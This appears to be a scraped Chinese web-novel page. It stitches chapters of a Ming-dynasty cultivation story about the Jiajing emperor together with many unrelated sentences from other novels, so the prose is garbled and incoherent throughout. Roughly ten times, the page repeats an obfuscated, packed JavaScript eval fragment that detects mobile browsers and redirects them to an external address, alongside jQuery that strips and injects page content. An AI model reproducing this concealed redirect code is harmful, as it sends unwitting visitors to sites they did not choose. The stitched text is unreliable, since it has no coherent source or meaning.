RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669439|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显不容易实现。 柳天面孔上挂满笑容,这里……不正是他获得神秘泉水的地方吗? 这个屋子很简单,却有两张床。赵勇趴在床上,眼中满是愤怒与怨恨。家丁在离开之时还留下了伤药,毕竟若是赵勇身上的伤如果不及时治的话可能会溃烂,会有生命危险。 想法虽好,只是心有余而力不足,这个椅子至少也有一两斤的重量,对于一些稍微大点的孩子,随便就能提起来。 “果然,能够被鹤巢之祖带来参加聚宝大会,的确有着远胜其他同届修士的资本!”夜锋暗自想着,侧了侧头瞥了一眼身旁姑苏辰。 随后,夜锋略一思量,又一伸手取下背负着的永夜剑,一道法诀打出,永夜剑便如同黑色令牌一般围绕着夜锋不断旋转了。 顾皇略微思索一下,然后说道,他对刘威的说法,也是非常之赞同的。 长龙欢乐世界坐落于广天市珠玉迎冰路,占地面积两千多亩,是一个庞大的游乐设施场地,引进了世界各国先进的游乐设备,即使不是逢年过节,平常的日子,该游乐场所游客依旧不减。 第二百二十一章 本命移植,大明修仙界?大明权柄即天道!天道也有主人! 本命高原。 十五岁的李铭双眼缓缓睁开。 当看到自己之前还在家中努力打通自身穴窍,结果一睁眼就出现在一片陌生之地后,眼神中浮现出一抹恐慌之色。 虽然得益于朝廷变法,大明境内,就算是最不起眼的村子上,也有官府督办的书院,得以读书明理,可心性终究也不过是个少年人。 除了在话本故事上 说话间,前院柴房里一阵悉悉索索,终于出现了一个抱柴的老仆,屈原挽起袖子,亲自和老仆一道井水烧开,给三位客人调制楚国特有的米浆。 爬上一处不知名的山顶之后,眼前突然出现一片大得无边无际的水泽,仿佛是一轴王维的水墨山水,让人久看之后,有一种想跳入水云深处的感觉。 可是现在当着山伯的面也不好说,就算要拒那屋子,也得与主人家谈,便上了马车。 云锦绣走到他面前,看着那些海草,她拿出匕首,割了一下,海草轻易的就斩断了,可斩断之后,那些海草就更多的缠上落枫的身体。 最后一天夜里,丑丑缩在哥哥怀里,她都睡了两觉,半夜起来,还是能听到哥哥叹气的声音。 此时的覃淼,完全神志不清,除了记得自己想杀了谢敏,其它什么都不记得了。 李超你奶奶个xo,这么热情邀请老子做个锤子。害到老子脸上也被抽了一脚。 陈凡刘晓妤不明所以,秦守财居然如此识相?短短一分钟时间,先前的强硬态度就发生了三百六十度大转变。 对天元天下的人来说,宗门大于一切,要做出欺师灭祖这样的事,那比让他们自裁更难。 先前,她被陆茜茜赶走,陆茜茜出事后,她主动回来伺候陆茜茜,以此来赎罪,让自己心安。 “我不饿,我再睡一会儿吧!”明雾颜又趴回了雪易寒为她准备的软垫上。 娉婷公主冷漠的看着她的头顶,她真的以为让贺之洲知道她做的这些事情后,她还能活命?真是太傻太天真了。 她吃了别人的饭给人办事,天经地义,而且在丸都城中也没干杀人放火的事。秦萱觉得高玉淑就算要恨,也恨不到她头上来。 “公主下车时,属下就让陆二去查了。”绿袖并不觉得这是多此一举。她们受命保护好明月,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669440|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然要将身边可疑的一切都排查一通才放心。 因为这个空间,就是麒麟一族创造的。那么,他们既然是要追杀麒麟的话,那他们,跟麒麟一族,到底有什么仇怨? “走吧。”叶飞也没有了说话的兴致,这几天的走路,让他有些郁闷。 “若是要征伐晋国,首先要打的便是伪秦。”皇太子和慕容泫长得十分相似,而秦王却长得和去世了的母亲有几分神似。 只有两堂课,不到十点就放学了,不过三年级以上就不同了,三堂课,十一点才放学。 他一边说着,一边将扎进太长公主胸口的长剑拔了出来,毫不手软的对准了太长公主的眼睛,在金玉熙魂飞魄散的尖叫声中,将太长公主那死不瞑目的双眼扎出了两个血淋淋的大窟窿。 “我已经有了一个新的计划。”过了一会儿,霍慎行才缓缓的开了口。 由于很可能会遭遇异兽,所以韩纷不敢修行紫幻,只是利用君玉诀吸收转化空气中的灵气,化为己用。 李桂芬没想到花蝉衣这么聪明,这番话里有话,令她着实有些无地自容了起来,不过也只是一瞬间罢了。 第二百二十二章 凡人家族修仙路,大明年终奖!灵气工业时代?大明科技狂人 本命移植的过程,除了开始有些微小不计的意外,甚至不能称之为意外,都很顺利。 将原本的拉拉藤本命与李铭的意识链接切断后,嘉靖又拿出了事先已经种在本命高原的优质本命,一株“先天紫藤”与李铭意识链接。 李铭的本命是拉拉藤,而他灵气属性,却是金属性,可谓是属性与本命也不匹配。 至于本命天赋 我像是在和宝宝说话,可是实际上,我是在给自己鼓劲儿,告诉自己一定可以的。 至于从前种种落魄,种种苦楚,那些个前尘往事,那些个恶毒的人,既然他们没本事报仇,那就都随风而去,往后再不必提及,也不想提及,毕竟,那可不是什么好事。 白薇深深吸了口气,情绪总算是平复了点,只是手还是稍稍有点紧张,夹菜和投喂的时候微微发抖。 强忍着头痛,云炽将云空双剑接成一把尖矛,瞄准食尸兽的脖子狠狠扎过去。 说话间李清浅的身子一抖,只见她颤颤巍巍地要转过来,却因为手脚被绑,而转的特别的艰难。 不说薛明玉,旁的几人如薛明珠也想尝尝加了石耳后,十品齐全的十远羹是否如林暖暖所说,清冽甘甜,别有风味。 “安琪,我都已经跟你说过了,我不说完全都是为了你好,为什么你就不能相信我说的话呢。”萧哲说道。 没有月亮,没有星星,伸手不见五指的黑暗,只有轻风徐徐,将她的发丝吹得飘散起来。 楚相思轻叹了一声,这一叹中夹杂了这些日子以来的辛酸苦辣,以及感慨! “龙剑杀!”青衣男子陡然暴喝一声,手中的剑刃,在空中画出一道美丽的剑花,剑刃指向紫红而来。 “我也去。”散修中间,有不少人都举起手来。当然,这中间有不少牛二提前安排好的,带节奏的修炼者。 南瑜的性格汤怀瑾清楚,要她专门去招惹欺负这些佣人,显然是不可能的。反倒是佣人们三人成虎,欺负人的时候多。 尽管墨以深并不热衷这个话题,但他明白,有些事,终究是要面对的。 在战天等人连续扛过了四道沙浪攻势后,他们也仅仅前行了不足数十里,此时不需要任何沙浪,光是仿若沼泽一般的沙地,就另众人陷入了进退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669441|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两难之境。 “我们继续可好?”穆子瑜有些不舍得,就停下来了?摸着自己的嘴唇还想要上前继续亲吻。 言优眨眼,觉得不可思议,她没听错吧?他的意思是,他要追乐阳? 李询顿时一个头两个大,他忽然瞥见不远处的燕殊,他单手插在口袋里,一只手搂着姜熹在低头说着什么,神情邪肆而又倨傲,还透着一丝揶揄嘲弄。 “王浩,你个几把东西,真是不自量力。现在看到了吧,跟老子单挑就是这种下场。”罗虎将我击倒以后,就用鞋子踩在我脸上。那鞋底脏兮兮的,全是泥,不一会我就变成了泥巴脸。 就算你胖,你瘦,你衰老,你身体皮肤松弛,但,你对着镜子会脸红吗?会唏嘘吗?会好奇吗?会觉得……自己构造很奇特,且,很匪夷所思吗? 一盏盏昏黄的路灯迅疾掠过,她趴在车窗上,晚风扑在脸颊,闭了闭眼,有几分惬意。 一尊青灰黯淡,色泽内敛,气息内敛,却外放着生死之力。身影伟岸,拔地而起,双手结印,施展开大日天功,一轮蕴育着生与死,阴与阳,因与果的太阳浮现苍穹。 第二百二十三章 本章无题 高原之上。 天穹阴沉,飘荡着雪花。 嘉靖站在一处高草坪上,吕芳恭敬的站在他身旁,裕王跟景王二人自然也在。 虽然二人没有上交本命,不过名义上,依旧由二人协理内阁,年底议政自然要参加。 “嗡嗡嗡。” 天地间,一道道金色的大幕落下,严嵩、严世蕃,胡宗宪等人全部出现。 看 入夜,明月高悬,山上非常安静,除了山前偶尔传来的蛙鸣,再无其他的声响。 一个阴测测的声音忽然在空气中开始回荡,然后就出现了一个白色的人影,出现在了林枫的面前,一股巨大无比的魔气顿时就爆发出来,充斥着整个空间。 其中,被称作‘超频连线者’的玩家们,能够把现实世界的一分钟,在游戏世界当大半天来用。 三分钟过去,魁梧男子嘴里大口喘着气,看样子已经筋疲力尽,不过他并没有一刻放松,眼睛死死盯着比自己矮了一大截的年轻人。 他没想到父亲竟然会是玄天盟总舵的人,而且拥有半步元婴的实力。 “林宇,你在这样我以后都不理你了。”欧阳晴俏脸通红咬着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669442|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红唇道。 蓝香儿身上庞大的威压向丑陋老头扑面而去,老头一下趴在了地上,颤抖着身体指向了一个方向。 既然已和邓琳谈妥,柳青自然要关心与自己职业生涯命运攸关的事情,设计大赛这么好的加分项不容有失,她并不想以区区一个系主任作为职业终点。 疾步如风,几下奔到城头,后面胡赤儿连滚带爬,竟是死追不上。 如今要是毁了杨家的龙脉,各大世家的龙脉都将会受到影响,杨家更有可能在接下来的大劫之中毁灭,那么对剩下的世家来说,无疑是巨大的损失。 第二百二十四章 南灵中输工程 “徐璠,你做什么!” 本就不爽,憋了一肚子气的严世蕃,当即开口呵斥。 在场其他人,也都向徐璠投去一个不满的眼神。 眼瞅着皇上要开始发年终奖了,你这个时候站起来说有本要奏,咋滴,显着你了呗? 嗯,主要是这一幕,对严世蕃等人有心理阴影,当初给众人敕封仙官官身的时候,海瑞就来了这么 “知恩图报?”却不料杜启崖还没开口,跪在堂下的王石头却莫名激动起来。 “还有三家,但是数量都不多,销量也不好,没有资源长期供给大户人家。”林威答。 马王东也这么觉得,不过他现在不敢多,毕竟他现在知道了,李雨可不是一般人。 云不休唇角一抽,坐在他对面,正在观察棋局的吕钰凡也是差点将整个棋盘给掀掉。 唐果捧起奶茶杯,慢悠悠的喝了一口,纤细的手指拿起那张空白的支票,吹了一口气。粉红的唇微张,美丽的眸子抬起来,冷子越被看得心里一窒。 “可是薛太医还是死了……”白有鱼递给万俟雪一杯水,顺带着拍拍他的后背,为他顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669443|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺气,温柔的根本不像是会说“死”字的人。 然后那个瘤子开始不断的膨胀,膨胀的过程中又带着一种融化的感觉吗,这种感觉十分的奇妙,就好像是法老之蛇一样。 苏雨见君成道下了车,出于担心赶紧跟了下来。可当他看到君成道在地上盘腿而坐之后有些摸不着头脑了。 魏子期眯起眼,思忖须臾,到底是没多嘴,冲着黎晏拜了个礼,只当什么也没瞧见,便提步出门去了。 方晓慧这时候,说了一声谢谢,然后她扬长而去,淡淡一笑地离开了警局。 第二百二十五章 年终奖落幕 “第三阶段,”给所有人分享完‘灵气工业时代’第二阶段后,徐璠继续道: “臣将其命名为‘灵气工坊盛世’。” “第三阶段,主旨在于完善灵气工业体系……大面积的建造灵气工厂……灵气工业全面铺开,融入各行各业……” “第四阶段,臣将其命名为‘仙工纪元’,”说到此处的时候,徐璠语气微微一顿, 在路边店购买来的发光树枝,照亮了两人身周的环境,在鬼界生长的这种发光树,的确非常神奇,好像专门为克制黑暗而生,光芒的穿透力特别的强,能照亮很大的范围,如果没有这个发光树枝,两人的行动肯定不方便。 失掉了地精战舰,再斩去海军团这股助力,等到那边來人,应该就有几分成算了,现在唯一的问題就是……这堆军火呀。 “看来原来招收的几个仆人也都分散到其他地方逃命去了。”宁一天心中想到。 第二日高长恭去了早朝,过了正午,在兰陵府外我见到了星冉,她显然是受了些皮肉之苦,被侍卫押着上了马车,高长恭答应我的事,自然是不会食言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669444|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道是周妈妈有什么为难的事儿找周严,而发现是自己接电话后不好意思说? 几人心里大为兴奋,接着洒答木就提议喝酒,众人欣然答应,一帮人呼啸而去。留下了一些凌乱的脚印,无声的见证一帮准备翻天野心家的惊天阴谋。 只是因为,当初他的固执,让一切事情变得到现在这样一发不可收拾,如果不是他的执意,她也不会离开,更不会有当年的那场车祸。 “今天,我陪陪他吧!”顾瑾欢这几天关了手机,断绝了一切的联系,就是为了今天。 第二百二十六章 散仙计划,长箭飞驰,便是匆匆十载岁月 “……父亲。” 高原之上,徐家本命田所在地,徐璠不舍的看着徐阶,双眸赤红。 尤其是看着父亲的满头银发,心中越发的自责了起来。 徐家能有今日完全是因为自己的无能所致。 看着老父亲这一副模样,身为一个孝子,他心中如何能不悔恨,不自责? 即便他如今的年岁,用凡人来说也已经是五 话分两头,在沛国还在不断联姻的时候,辽东腹画风却和刘邦他们不一样,此地已然是战火连天了。 看着这一幕,摄影师一脸懵逼,司机也频频通过后视镜用复杂的眼神偷瞄他们。 沈柒想到刚开学的时候,班里就有人经常来找江柠借作业,可江柠却是一次也没有借出去过,时间长了,大家也就都知道江柠不会让别人抄作业,所以便没人再来问她借过了。 摩天一步跨出,来到了地球上空,冰寒的目光越过遥远的空间,落在张通的身上。 张通正在跳跃星空,赶回地球,却是突然摸着额头,满脸的疑惑。 换而言之,这场斗法,斗得是这片天地,翻天之雨下不过三两刻钟,远有山地滑坡,巨石滚落,泥石成流。 “大姐,我难道说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669445|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了么?如果爷爷还活着,绝对不会让你这样胡来的!”苏千雪咬牙道。 这种猜测根本就站不住脚,他不可能把刘禅能够预知未来的事情,告诉甘夫人。 江柠转过头,还以为沈柒是有什么话想说,可谁知下一秒,对方便是头也不回的走掉了。 唯一要担心的是,三王子会阻止他得到这种功法,或者就是不允许他修炼这种功法。 司马雄也不甘示弱,恐怖的攻击不断地释放,种种玄妙蕴藏其中,每一击都化腐朽为神奇,平平淡淡的一击,都蕴藏着极为恐怖的力量,如同海水一般汹涌澎湃,深不可测。 第二百二十七章 十年大明,硕果累累,东林初显 玉熙宫。 大殿之内,道台之上。 “嗡。”随着一阵空间波动荡起,嘉靖的双眼缓缓睁开。 “呼,”轻吐出一口气后,嘉靖缓缓睁开了双眼,叹道:“金丹中期了。” “可惜,金丹后期的门槛都没有看到,这十年间,朕使用了将六枚‘悟道菩提子’,却好似牛入泥潭,虚空无路,再难前进一步……” “那啥?你为什么要挑战我?你不是已经是队长了吗?”林元客气一笑。 “我爹呢?他没跟着隋朝一起过来吗?”白落花此时终于想起自己爹来了。 听到说能按简易程序,现在就处理完毕,开车走人,两名驾驶员脸上都浮现不同的神情。 不过,由于早上没吃,蔡徐击这会撑不住了,说了句上厕所,实则跑去附近食堂吃饭了。 这里不只有血腥气,还有尸体的腐臭味,两种气味掺杂在一起直冲天灵盖,已经到了难闻至极的地步。 “墨含弄丢,是我们的问题,我们若是早早找回来墨含,让墨含在我们的照顾下长大,她会这样吗?”顾冷锋反问。 听到这,朴支马上指示李钢亲自带队,抽调队里精干警力,先去柏庐所,准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669446|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移送。 “三七,要不然这钱我不赚了。”李阳撇了一眼弹幕后,表现有些屈辱的说道。 在夏川释放地狱火的同时,tpc内部关于夏川的会议正好还在进行。 到旁边队员们发出的松口气的声音,居间惠内心有种骄傲的情绪。 “我还是先选拳法吧。”刘成双的心里还是觉得伤人不好,自保足以。拳法看起来不会打死人,所以就选了这个。 他们或许还存着这样的心思:这件丹炉现在还摸不清用途,竞价的人不会太多,如果能够找到真正的用途,也许就会身份百倍。 第二百二十八章 大明朝堂上的黑手 “成党之势?”突然,严世蕃又冷哼一声,道:“朝堂之上,新党就不说了,背后站着的是二王,汝贞的背后是我严家。” “区区一个小地方的书院,也想翻天?” “从嘉靖五十二年,朝廷步入仙朝,徐阶他们被踢出内阁的一刻开始,这朝堂之上的局势就定死了,哪还轮得到外人插手进来?” 听到老爹也这么说, 一行人走的不是主道,特意避开了很多可能被暗探发现的地方。走了大约半个晌午,那些武将便与她说可以在前面歇一歇。 实话说,永梦战斗以来的对手都是数码兽。唯一的人类对手仓田也不是他出手解决的。对于杀人,他还是充满了抵触,出手都放轻了不少力道。 穿着红色礼服的男“人”从地上拾起一颗血淋淋的头颅,扳成两半,大口大口的咀嚼着。 她看了一眼来电显示,是自己助理的,她来赴约之前跟助理打过招呼,没有什么要紧事不要打扰她。 就这么从鬼门关里走了一遭,兰姨的心情也是久久难以平复,在病床上紧紧拉着儿子的手,不知道该说什么。 原本桃言蹊和骆梦尘都没有看到上官风,还是他主动上前来打了招呼。 她之前上幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669447|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿园的时候都是和主人一个班,这个学校好讨厌,竟然要把主人和她分开。 从61年开始,广南的外贸公司成立,直到84年,一直采用的是一套没怎么变过的收购加工流程。 虽然表面上都不肯承认,但是莉莉丝兽与爆风兽对于策士兽的策略与实力都是了解的,确实比自己会更强。同时,他们也知道策士兽的性格,他一定已经做好了下一步的计划。 其余的洪荒生灵,不是加入了三族,就是被灭了,少数不愿意加入三族的生灵只能躲藏在一个个深坑地洞之中苟延残喘,出去便要成为三族血食。如蝾螈,鲎等生灵。 第二百二十九章 重返内阁,黑手现! 嘉靖七十年,正月初四,午时。 玉熙宫大殿之内,嘉靖端坐于上方御座之上,下方司礼监和内阁众人分两侧站定。 “十年时间,灵气工业时代已经全面铺开,大明境内‘灵气加气站’总计……”严世蕃拿着奏本,抑扬顿挫的汇报着。 “启奏皇上,”约莫有半个时辰,念完奏本后,严世蕃语气顿了顿,而后躬身一礼 很明显事情正在朝着对于他们有利的方向在发展,只要持续这样进行下去,这个兽王被杀死可以说是板上钉钉的事情了。 这样的一种情形,就相当于把兽类生物给牢牢的困在了原地,人类战士则朝着兽王那边冲了过去。此刻兽类生物的首领们,与人类势力的首领们正在一起,对这个兽王展开攻击。 江月白不认为自己这一招能够威胁到向凌霄,面对东方不悔的五灵正法,各州联军的强势压迫,向凌霄始终从容不迫,自信十足,那种底气并非强撑可以伪造,直到现在,向凌霄的气息也没有紊乱哪怕一分。 台下的众人忍不住惊呼出声,接着便自发的鼓起掌来,即使他们不懂武功也知道这场胜负已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669448|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,彭亮完全不是方求真的对手。 这是一种从出生就被刻下的封印,是所有深渊强者,都不能说出的秘密。 向凌霄能做到收发自如,并将流云手同样融入自身出手之中,自己则无法以己之功法融汇凌霄三断,虽有诸多因素,在这方面,江月白已稍逊一筹。 那行孤单的生活的确不好受,尤其是自己在这里体会到家的温暖和热情之后。 既然骆绝尘不说话,那么赵岚的话必然是所言不虚的,如果真是这样的话,他的确有权力将自己赶出碧神峰。 第二百三十章 朱翊钧:父亲可以不是太子,但我必须是太孙! 嘉靖四十二年出生的朱翊钧,如今已已然二十八岁,即将到了而立之年。 此时的他,早已不是当初那稚嫩懵懂的少年,而是一个可以插手朝堂,为自己争取利益,有着不小远见并多方布局的黑手。 甚至第一次出手对付的,就是内阁这些,站在大明朝堂权势巅峰的一群人,且成功了。 不过能官居内阁大学士的人也没 不可能,这绝对是不可能的,我连忙给自己稳了稳神儿,打眼又朝周围林子里一看,不对,这不是原来的林子,也不是原来的山,这片林子并没有长在两座山的夹沟里,似乎是在半山腰。 “妈,这就是来给爸看病的高人。他叫叶尘。”张秀儿赶紧介绍道。 霎时之间,似乎所有的问题都不再显得那么重要,木子辰也没了继续再较真纠缠下去的动力。 对于匕首的防守与反击,这是每一个特种战士必须精通的基础课目,运气不错,陈北冥在这一个课目上的成绩还算可以。 我顿时哭笑不得,谁他娘的这么无聊,弄这么一个俅玩意儿放在这儿。 这些士绅见于志龙面色如春,笑语殷殷,却不知他心内已经开始盘算今后如何整饬地方。 牛剑峰刚刚扣动扳机,他的部下们也跟着急不可耐的扣动了扳机,密集的光束立即喷射了出去,看那架势,不把隔壁房间的卓远等人打成马蜂窝他们是绝对不会甘心的。 话音未落,男人就挣脱开他的手,朝他们深深鞠了一躬。弄得林浩楠和苏思琪脸都红了。 “这么远?”我顿时一愣,男人说的山坡,就是之前我爬的那座山,离他们这里估计能有十来里地。 现在,他们和‘毛’‘色’鲜‘艳’的妖兽在一块地皮上,也就相隔不到一百丈的样子,把那妖兽的体形看得一清二楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669449|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个凯玛尔似乎就能算是一个代表,这要是换成博教之人,被教宗知道后,定然难逃开除教籍的危险。 曹格驶离了环城区域的时候开口问道,侧眸看了李静儿,她有些没精打采的。 县尉闻言,脸色一变。他新任彭城县尉不久,对这赛孟尝这一股山贼也只有听闻,据说这伙山贼穷凶极恶,杀人如麻,盘踞彭城东北一带的山区之中,若不是自己还是人生地不熟,早就带领官兵去荡平了这一股悍匪了。 阿咪吃惊的跑到树前,用弯刀费力的才将三颗弹丸挖了出来,那树上呈品字形露出三个黑洞,挖出来的弹丸已经变形了。 这只是曹奶奶随意说的话,曹爷爷一声陪伴左右的丈夫,也未必知道的事。 这样的情况倒也不是没有,直接放弃中路被四人固守的铁匠铺,而选择发兵两条边路,争夺剩下的四个资源点。当初陆剑飞就是这么干的。 第二百三十一章 嘉靖:他们父子情深了,朕成坏人了?朕不是个好父亲了? 打开了! 思路打开了! 太子是一种职位,太孙也是一种职位,既然有万年的太子,为什么不能有万年的太孙? 裕王愕然的看着儿子朱翊钧。 此刻他只有一个想法,那就是年轻人的思路就是好,自己以前怎么就没想到?太子之位争不到,太孙之位为何不能争取一下? 九王虽说如今也都成年,可终究 所谓医者父母心,就算龙俊和朱兆美不是朋友,他也会义无反顾地帮朱家家主重塑经脉。 枪口在怒吼,白色烟气如虬龙舞动,柔软的褐色毛毯化作碎片飘落在温和青年的周围,如柳絮般轻盈却透露出凄凉。 众多武者时不时的寻找一些隐蔽的地方修炼,但是美国多长时间,往往就会被实实在在的妖兽找到攻击。 关键是从阎奎的行为来看,要真的有海底实验室存在,恐怕不会是什么好事。 连墨露出一排洁白整齐的牙齿,道:“我们又见面了。”说完,露出一个他自认为灿烂的笑容。 “古武高手?”龙俊惊呼一声,侧身避开兰儿的攻击,禁不住仔细地打量着她。 夜星辰从储物戒指里面拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669450|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一条白色的毛巾,在后面递给了夜洛灵。 因为实在太难拖,几人都习惯了路人的打法,对方这种他们是第一次遇见。 当时我心就凉了半截,心里想着,这怎么出去,此时这里距离八卦图所在的位置,起码有好几百米,我又往下看了看,但是往下也是深不见底,根本什么都看不见。 迭戈相信,经历过这次的事情,他们两人的友谊肯定会继续的深厚下去。 借着月光正好看清迎面走来的一行人,正是在最开始还没有进入不归山时,冷凌云在平台上杀死的那个姬有为身边的人。 第二百三十二章 朱翊钧:张阁老,诸王如无根浮萍,何不效忠本世子殿下? 嘉靖七十年。 二月初一,雨夹雪。 一片阴沉的天穹上,乌云翻滚涌动,天空飘洒着零星点点的雨雪。 “轰,轰,轰。” 一辆从“南京站”出发,直达“北京”的,长约二十丈,宽约六丈,高五丈,青铜铸就的庞大仙轨,在轨道上穿行,发出轰鸣声。 从高空俯瞰,隐约可见地上黑色的铁轨,竟散发 被这么多人看,而且还多是自己的同事,韩雪的脸不禁红了起来。 “这高伟的力量一定大的惊人,我如果想要赢他,只能凭借速度取胜!”周天龙心中暗想。 被这样一打扰,苏惠彦也没有了继续玩下去的兴致,而方尘本来就不爱在这种场合玩。两人干脆离开了迪吧。 